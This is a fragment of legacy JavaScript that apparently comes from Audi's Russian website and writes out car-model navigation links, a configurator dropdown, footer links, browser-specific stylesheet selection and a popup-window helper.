        document.write('<a href="/newcars/q7/" onMouseOver="showModelHilite(\'Audi Q7\', carline_img_q7)" onMouseOut="resetLinkHilite(carline_img_q7)"><img name="carline_img_q7" onload="createGraphicLink(this,\'/ru/cars/q7/show.gif\',\'/ru/cars/q7/show2.gif\')" src="/ru/cars/q7/show.gif" height="15" alt="Audi Q7" class="carline_entry"></a>');
        document.write('<a href="/ru/cars/q5/" onMouseOver="showModelHilite(\'Audi Q5\', carline_img_q5)" onMouseOut="resetLinkHilite(carline_img_q5)"><img name="carline_img_q5" onload="createGraphicLink(this,\'/ru/cars/q5/topPic.gif\',\'/ru/cars/q5/Audi_Q5.modelnav.hi.gif\')" src="/ru/cars/q5/topPic.gif" height="15" alt="Audi Q5" class="carline_entry"></a>');
        document.write('<a href="/newcars/r8/" onMouseOver="showModelHilite(\'R8\', carline_img_r8)" onMouseOut="resetLinkHilite(carline_img_r8)"><img name="carline_img_r8" onload="createGraphicLink(this,\'/ru/cars/r8/topPic.gif\',\'/ru/cars/r8/topPicActive.gif\')" src="/ru/cars/r8/topPic.gif" height="15" alt="R8" class="carline_entry"></a>');
        document.write('<a href="/newcars/tt/" onMouseOver="showModelHilite(\'TT\', carline_img_tt)" onMouseOut="resetLinkHilite(carline_img_tt)"><img name="carline_img_tt" onload="createGraphicLink(this,\'/ru/cars/tt/topPic.gif\',\'/ru/cars/tt/topPicActive.gif\')" src="/ru/cars/tt/topPic.gif" height="15" alt="TT" class="carline_entry"></a>');
        document.write('<a href="/ru/cars/a3/" onMouseOver="showModelHilite(\'A3\', carline_img_a3)" onMouseOut="resetLinkHilite(carline_img_a3)"><img name="carline_img_a3" onload="createGraphicLink(this,\'/ru/cars/a3/topPic.gif\',\'/ru/cars/a3/topPicActive.gif\')" src="/ru/cars/a3/topPic.gif" height="15" alt="A3" class="carline_entry"></a>');
        document.write('<a href="/ru/cars/a4/" onMouseOver="showModelHilite(\'A4\', carline_img_a4)" onMouseOut="resetLinkHilite(carline_img_a4)"><img name="carline_img_a4" onload="createGraphicLink(this,\'/ru/cars/a4/topPic.gif\',\'/ru/cars/a4/topPicActive.gif\')" src="/ru/cars/a4/topPic.gif" height="15" alt="A4" class="carline_entry"></a>');
        document.write('<a href="/ru/cars/a5/" onMouseOver="showModelHilite(\'A5\', carline_img_a5)" onMouseOut="resetLinkHilite(carline_img_a5)"><img name="carline_img_a5" onload="createGraphicLink(this,\'/ru/cars/a5/topPic.gif\',\'/ru/cars/a5/topPicActive.gif\')" src="/ru/cars/a5/topPic.gif" height="15" alt="A5" class="carline_entry"></a>');
        document.write('<a href="/newcars/a6/" onMouseOver="showModelHilite(\'A6\', carline_img_a6)" onMouseOut="resetLinkHilite(carline_img_a6)"><img name="carline_img_a6" onload="createGraphicLink(this,\'/ru/cars/a6/topPic.gif\',\'/ru/cars/a6/topPicActive.gif\')" src="/ru/cars/a6/topPic.gif" height="15" alt="A6" class="carline_entry"></a>');
        document.write('<a href="/newcars/a6allroadquattro/" onMouseOver="showModelHilite(\'A6 allroad quattro\', carline_img_a6allroadquattro)" onMouseOut="resetLinkHilite(carline_img_a6allroadquattro)"><img name="carline_img_a6allroadquattro" onload="createGraphicLink(this,\'/ru/cars/a6allroadquattro/topPic.gif\',\'/ru/cars/a6allroadquattro/topPicActive.gif\')" src="/ru/cars/a6allroadquattro/topPic.gif" height="15" alt="A6 allroad quattro" class="carline_entry"></a>');
        document.write('<a href="/newcars/a8/" onMouseOver="showModelHilite(\'A8\', carline_img_a8)" onMouseOut="resetLinkHilite(carline_img_a8)"><img name="carline_img_a8" onload="createGraphicLink(this,\'/ru/cars/a8/topPic.gif\',\'/ru/cars/a8/topPicActive.gif\')" src="/ru/cars/a8/topPic.gif" height="15" alt="A8" class="carline_entry_last"></a>');
    document.write('</div>');
document.write('</div>');
}

function configuratorSelect()
{
document.write('\
<select id="mlkonf" style="height: 17px; width: 130px; border-width: 1px; border-style: solid; font-size: 10px; font-family: verdana">\
	<option value="0" selected="selected">Модель</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">Audi Q7</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">Audi Q5</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">R8</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">TT	Roadster</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">TT	Coupe</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">A3</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">A3	Sportback</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">A3 Cabrio</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">S3</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">A4</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">A4 Avant</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">A4	Cabriolet</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">S4</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">S4	Avant</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">S4	Cabriolet</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">RS	4</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">A5</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">A6</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">A6	Avant</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">S6</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">RS6 Avant</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">A6	allroad quattro</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">A8</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">A8	L</option>\
	<option value="http://configurator.audi.com/acc/intro-rus-rus.view">S8</option>\
</select>\
');
}

var level2_array = ['<span title="">Audi Q7</span>','<a href=\"/newcars/q7/\" class=\"subnav_sub_link\">','<span title="">Audi Q5</span>','<a href=\"/ru/cars/q5/\" class=\"subnav_sub_link\">','<span title="">R8</span>','<a href=\"/newcars/r8/\" class=\"subnav_sub_link\">','<span title="">TT</span>','<a href=\"/newcars/tt/\" class=\"subnav_sub_link\">','<span title="">A3</span>','<a href=\"/ru/cars/a3/\" class=\"subnav_sub_link\">','<span title="">A4</span>','<a href=\"/ru/cars/a4/\" class=\"subnav_sub_link\">','<span title="">A5</span>','<a href=\"/ru/cars/a5/\" class=\"subnav_sub_link\">','<span title="">A6</span>','<a href=\"/newcars/a6/\" class=\"subnav_sub_link\">','<span title="">A6 allroad quattro</span>','<a href=\"/newcars/a6allroadquattro/\" class=\"subnav_sub_link\">','<span title="">A8</span>','<a href=\"/newcars/a8/\" class=\"subnav_sub_link\">','<span title="">Audi S/RS модели</span>','<a href=\"/newcars/s_rs/\" class=\"subnav_sub_link\">','<span title="">Бронированные авто</span>','<a href=\"/armor/index.html\" class=\"subnav_sub_link\">']

function end() {

    document.write('<div class="siteutilitybox">');
        document.write('<a href="/map/map.html">Карта сайта</a><img src="/$files/_pic/seperator_siteutilitie.gif" width="13" height="11" alt="|">');
        document.write('<a href="/feedback/Feedback.asp">Обратная связь</a><img src="/$files/_pic/seperator_siteutilitie.gif" width="13" height="11" alt="|">');
        document.write('<a href="/contacts/service.htm">Контакты</a>');
    document.write('</div>');

    return;

document.write('<table name="end" border="0" cellspacing="0" cellpadding="0">'+
		'<tr>'+
		'<td><img src="/images/0.gif" width="320" height="1"></td><td>'+
		'<table border="0" cellspacing="0" cellpadding="1" name="footer" width="159">'+
		'<tr><td bgcolor="#262626">'+
		'<table border="0" cellspacing="0" cellpadding="0">'+
		'<tr>'+
		'<td bgcolor="#FFFFFF" width="4"><img src="/images/0.gif" width="4" height="14"></td>'+
		'<td bgcolor="#FFFFFF" colspan="3" nowrap><a href="/feedback/Feedback.asp" class="utilitie">Обратная связь</td>'+
		'<td bgcolor="#FFFFFF" width="4"><img src="/images/0.gif" width="8" height="8"></td>'+
		'</tr>'+
		'<tr>'+
		'<td background="/images/footer_dotvert.gif" colspan="5"><img src="/images/0.gif" width="157" height="1"></td>'+
		'</tr>'+
		'<tr>'+
		'<td bgcolor="#e1e1e1"><img src="/images/0.gif" width="1" height="14"></td>'+
		'<td bgcolor="#e1e1e1"><a href="/map/map.html" class="utilitie">Карта сайта</a></td>'+
		'<td background="/images/footer_dotgrew.gif"><img src="/images/0.gif" width="1" height="10"></td>'+
		'<td bgcolor="#e1e1e1"><img src="/images/0.gif" width="5" height="1"></td>'+
		'<td bgcolor="#e1e1e1"><a href="/contacts/service.htm" class="utilitie">Контакты</a></td>'+
		'</tr>'+
		'</table>'+
		'</td>'+
		'</tr>'+
	'</table>');
}




// allows to be overriden by templates with extra-wide stages
var cms4imp_fullStageWidth = 640;
var cms4imp_foldMinHeight = 300;

if (navigator.appName == "Microsoft Internet Explorer" && navigator.userAgent.toLowerCase().indexOf("opera")<0)
{
	browser_ieversion = navigator.userAgent.substring(navigator.userAgent.indexOf("MSIE ")+5,navigator.userAgent.indexOf("MSIE ")+6);
	if (browser_ieversion >= 7)
	{
		document.write('<link rel="stylesheet"type="text/css" href="/$files/audi_face_other.css" media="screen,print">');
	} else {
		document.write('<link rel="stylesheet" type="text/css" href="/$files/audi_face_ie.css" media="screen,print">');
	}
} else {
	document.write('<link rel="stylesheet"type="text/css" href="/$files/audi_face_other.css" media="screen,print">');
}
function wopenFromFlash(url,w,resize,scrollbars )
{
	if (!resize){
		resize = true;
	}
	if (!scrollbars){
		scrollbars = true;
	}

	if (!w || !h){
	var w = window.screen.availWidth;
	var h = window.screen.availHeight;
	if (document.layers)
	{
		var tmp1 = window.outerWidth - window.innerWidth;
		var tmp2 = window.outerHeight - window.innerHeight;
		w -= tmp1;
		h -= tmp2;
	}
	}
	var pParameter = "toolbar=no,status=yes,location=no,resizable="+resize+",scrollbars="+scrollbars+",width=" + w +",height="+ h + ",left=0,top=0";

	//window.alert(pUrl);
	var win = window.open(url, "FSwin", pParameter);
	win.resizeTo(w,h);
	win.moveTo(0,0);
	win.focus();

}